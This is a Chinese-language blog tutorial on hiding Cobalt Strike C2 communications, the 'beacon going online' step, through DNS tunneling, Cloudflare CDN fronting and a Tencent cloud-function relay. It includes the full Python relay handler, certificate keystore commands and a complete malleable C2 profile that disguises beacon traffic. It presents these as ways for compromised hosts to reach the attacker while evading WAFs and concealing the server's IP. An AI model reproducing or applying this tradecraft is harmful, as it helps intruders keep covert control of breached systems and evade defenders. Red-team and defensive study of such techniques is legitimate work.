CobaltStrike上线隐藏

1.前言

话接上篇,上篇写了cs的常见特征隐藏,这次来讲解下,几种木马上线,常见的隐藏方法,其中有代理转发上线,DNS上线,CDN上线,域前置上线,云函数上线。

其中域前置上线,通过 这种方法需要厂商的支持,早些时候的amazon和google云都支持,后来取消了。随后cloudflare也取消了域前置的支持,目前国内的aliyun是支持的,曾经ali的cdn绑定域名不需要校验,可以随意绑定域名,实现高可信度域名绑定,现在则添加了域名验证, 不太好设置,如果想看,可以到我的博客中查看。

咱们这次就介绍三种常用的上线方式,DNS、CDN、云函数上线

2 DNS上线

  1. 一般我们拿到的shell都是,对出网有限制的,一般只能DNS出网,这时候就要用到我们 DNS 协议建立 C2 通信。,一般waf不会分析DNS流量,这一点也是能够隐蔽的特性。
  2. DNS_TXT隧道传输:控制端发送的对目标的操作命令被加密后通过DNS的TXT记录里,通过DNS隧道传输隐蔽性较强不易被发现,但传输速度非常慢。

前期准备

  1. 需要准备一个不需要备案的域名
  2. 国外vps

正文

域名注册

  1. 想白嫖域名可以到freenom.com注册一个免费且不用备案的的域名,但是我重来没用成功过。

  2. 趣域网可以代购国外域名,quyu.net购买一个不需要备案的域名

DNS记录配置

当注册好域名后,我们就要来配置dns了,创建A记录对应IP为VPS的IP,创建NS记录,解析地址为A记录的域名

1

2

设置完成后,pingA记录域名验证是否能够解析

3

CS的Listeners配置

4

5

上线之后是个小黑屏,使用checkin命令让dns beacon强制回连teamserver,并输入命令 mode dns-txt使传输的数据更多一些。

6

3 CDN上线

CDN的IP是多个域名共用的,为了做到精确判断,CDN会解析我们的host头,根据这样的方式进行判断通信域名,这样我们设置上线IP设置为CDN服务器的IP,host设置为我们的DNS,达到隐藏IP的需求

前期准备

  1. CDN服务器,可以选择CloudFlare,amazon,google,tencent,aliyun,都可
  2. 免备案域名,参考上一节
  3. 国外vps服务器,可以选择Vultr之类的,实在没用就用国内的也行

正文

CDN服务器注册
  1. 想白嫖的可以去CloudFlare注册申请免费CDN加速
  2. 腾讯云,也可以白嫖6个月的免费CDN加速
配置CND服务器

这里我就用,CloudFlare做做测试了,把域名接入到CloudFlare管理,设置默认CDN加速

接入域名后,并添加个A记录域名,开启CDN加速

7

设置完成后解析下,我们的添加的A记录域名

8

CS的Listeners配置

Cloudflare支持的HTTP端口是: 80,8080,8880,2052,2082,2086,2095

Cloudflare支持的HTTPs端口是: 443,2053,2083,2087,2096,8443

CDNhttp上线

9

10

成功上线

11

抓包流量走的都是CDN的IP

CDNhttps上线

CS使用CDN后,可以一定程度隐藏IP地址,使用WireShark抓包交互IP都是CDN地址,但是传输协议使用的HTTP,传输内容是没有加密的,如果要加密,则可以使用HTTPS。

还以CloudFlare为例,切换到SSL/TLS栏,证书类型选择完全,如下图:

12

切换到源服务器,创建证书保存私钥和证书

13

将生成的内容分别存储为1.pem和1.key(名字可以随便起),传到CS所在的服务器,然后生成新的store文件,执行下面命令,生成相关的store文件:命令中xxx.xxxx.com替换为自己的域名

1
openssl pkcs12 -export -in 1.pem -inkey 1.key -out a.p12 -name xxx.xxxx.com -passout pass:123456
1
keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore https.store -srckeystore a.p12 -srcstoretype PKCS12 -srcstorepass 123456 -alias xxx.xxxx.com

14

最后需要更改cs的配置文件中https-certificate的配置

1
2
3
4
https-certificate {
set keystore "https.store";
set password "123456";
}

15

重启teamserver设置Listeners

16

17

抓包查看,流量已经SSL/TLS加密,流量的IP是DNS服务器的IP

4 云函数上线

云函数还是得益于Serverless架构,或者称为无服务器架构,是最近几年新冒出来的一种架构风格,仅需用户编写和上传核心业务代码,交由平台完成部署、调度、流量分发、弹性伸缩等能力。

我们就可以利用云函数,配置个流量转发,C2Client访问云函数,云函数将流量转发到咱们的C2服务器,一般云函数服务器都会配置CDN,这样速度还行,还可以达对C2服务器的隐藏。

前期准备

  1. 支持云函数的厂商azure,tencent都可
  2. 国外vps服务器,可以选择Vultr之类的,实在没用就用国内的也行

正文

云函数配置

这里我们用tencent做测试,在控制台中找到云函数,创建给新的云函数服务,选择自定义,python3.6环境

18

代码为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# -*- coding: utf8 -*-
import json,requests,base64
def main_handler(event, context):
C2='http://<C2服务器地址>' # 这里可以使用 HTTP、HTTPS~下角标~
path=event['path']
headers=event['headers']
print(event)
if event['httpMethod'] == 'GET' :
resp=requests.get(C2+path,headers=headers,verify=False)
else:
resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
print(resp.headers)
print(resp.content)

response={
"isBase64Encoded": True,
"statusCode": resp.status_code,
"headers": dict(resp.headers),
"body": str(base64.b64encode(resp.content))[2:-1]
}
return response

19

配置触发器,选择自定义,触发版本选择LATEST最新,触发方式选择API网关触发,这里的API网关触发,根据文档介绍可知它的机制,即将请求内容以参数形式传递给函数,并将函数的返回作为响应的内容。其它选项默认即可。

20

云函数,配置完成后,我们还要配置下API网关

21

22

将路径改为根路径()

23

更改完成后,即可发布服务,完成后,可以在api服务的基础信息中看到公网的默认访问地址,有80和443两个端口,配置的CS监听地址是http就用80端口,https就用443端口

24

CS的Listeners配置

配置CS Profile,内容这里参考下面示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
set sample_name "t";
set sleeptime "3000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";

http-get {

set uri "/api/x";

client {
header "Accept" "*/*";
metadata {
base64;
prepend "SESSIONID=";
header "Cookie";
}
}

server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Server" "Nodejs";
output {
base64;
print;
}
}
}
http-stager {
set uri_x86 "/vue.min.js";
set uri_x64 "/bootstrap-2.min.js";
}
http-post {
set uri "/api/y";
client {
header "Accept" "*/*";
id {
base64;
prepend "JSESSION=";
header "Cookie";
}
output {
base64;
print;
}
}

server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Connection" "keep-alive";
output {
base64;
print;
}
}
}

25

Listeners的host和Hosts和Stager Host都设置为你的云函数URL

26

抓包看流量,C2通信的HOST是api的域名IP是腾讯云的CDN服务器IP

我的博客kosakd blog